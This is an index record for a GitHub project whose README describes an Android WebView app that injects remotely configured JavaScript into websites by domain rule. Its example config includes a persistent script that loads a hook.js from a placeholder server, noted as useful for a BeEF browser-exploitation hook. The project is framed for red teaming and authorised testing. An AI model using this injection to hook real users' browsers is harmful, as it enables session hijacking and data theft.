{"id":27966127,"url":"https://github.com/jxroot/webview_inject","last_synced_at":"2025-05-07T20:16:53.991Z","repository":{"id":276464207,"uuid":"929365600","full_name":"jxroot/webview_inject","owner":"jxroot","description":"Android WebView app dynamically loads a website and injects JavaScript ","archived":false,"fork":false,"pushed_at":"2025-03-28T23:31:50.000Z","size":60,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-05-07T20:16:50.418Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jxroot.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-02-08T11:32:37.000Z","updated_at":"2025-03-28T23:31:53.000Z","dependencies_parsed_at":"2025-02-08T12:38:26.103Z","dependency_job_id":null,"html_url":"https://github.com/jxroot/webview_inject","commit_stats":null,"previous_names":["jxroot/webview_inject"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jxroot%2Fwebview_inject","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jxroot%2Fwebview_inject/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jxroot%2Fwebview_inject/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jxroot%2Fwebview_inject/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jxroot","download_url":"https://codeload.github.com/jxroot/webview_inject/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252949253,"owners_count":21830154,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-05-07T20:16:53.278Z","updated_at":"2025-05-07T20:16:53.948Z","avatar_url":"https://github.com/jxroot.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🚀 WebView JavaScript Injector\n\nThis project is an **Android WebView app** that injects **custom JavaScript** into websites based on their **domain**, using **wildcards** and **regular expressions (regex)**. The JavaScript rules are stored in a remote JSON file.\n\n---\n\n## 🔹 How It Works\n\n1. The app **downloads `app.json`** from a remote server.\n2. It **extracts the domain** of the website being loaded.\n3. It **checks the JSON file** for JavaScript rules matching the domain using:\n   - ✅ **Exact match** (`b.com`)\n   - ✅ **Wildcard match** (`*.example.com`)\n   - ✅ **Regex match** (`regex:^.*\\.secure\\d+\\.com$`)\n   - ✅ **Default fallback** (if no match is found)\n   - ✅ **Persistent scripts**  (optional: run on all pages if enabled useful for BeEF Hook)\n4. The matching JavaScript is **injected into the WebView** using `evaluateJavascript()`.\n5. When a user **navigates to another page**, the process repeats, injecting JavaScript for the new site.\n\n---\n\n## 📂 Example of Matching\n\n| URL Loaded                   | Matched Rule                  | JavaScript Injected        |\n|------------------------------|------------------------------|---------------------------|\n| `https://api.example.com`    | `*.example.com`              | ✅ Wildcard matched       |\n| `https://login.secure123.com` | `regex:^.*\\.secure\\d+\\.com$` | ✅ Regex matched         |\n| `https://b.com`              | `b.com`                      | ✅ Exact match           |\n| `https://randomsite.com`     | `default`                    | ✅ Default script        |\n\n---\n\n## 📂 Example `app.json`\n\n```json\n{\n    \"url\": \"https://a.com\",\n    \"websites\": {\n        \"*.example.com\": {\n            \"scripts\": [\n                \"alert('Wildcard matched for example.com subdomains!');\"\n            ]\n        },\n        \"regex:^.*\\\\.secure\\\\d+\\\\.com$\": {\n            \"scripts\": [\n                \"alert('Regex matched for secureX.com domains!');\"\n            ]\n        },\n        \"b.com\": {\n            \"scripts\": [\n                \"alert('Welcome to B.com!');\",\n                \"document.body.style.backgroundColor = 'blue';\"\n            ]\n        }\n    },\n    \"default\": {\n        \"scripts\": [\n            \"alert('No custom script for this site.');\"\n        ]\n    },\n    \"persistent\": {\n         \"scripts\": [\n            \"var script = document.createElement('script');\",\n            \"script.src = 'http://your-server.com/hook.js';\",\n            \"document.head.appendChild(script);\"\n        ],\n        \"status\": false\n    }\n}\n```\n\n## ⚠️ Legal \u0026 Ethical Disclaimer\n\n🚨 This tool is developed strictly for educational and authorized security testing purposes only.\n\n🔬 It is intended to help cybersecurity professionals, researchers, and enthusiasts understand post-exploitation, red teaming, and detection techniques in lab or controlled environments.\n\n❌ Do NOT use this tool on any system or network without explicit permission. Unauthorized use may be illegal and unethical.\n\n🛡 The author takes no responsibility for any misuse or damage caused by this project.\n\n---\n\n\u003e Always hack responsibly. 💻🔐","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjxroot%2Fwebview_inject","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjxroot%2Fwebview_inject","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjxroot%2Fwebview_inject/lists"}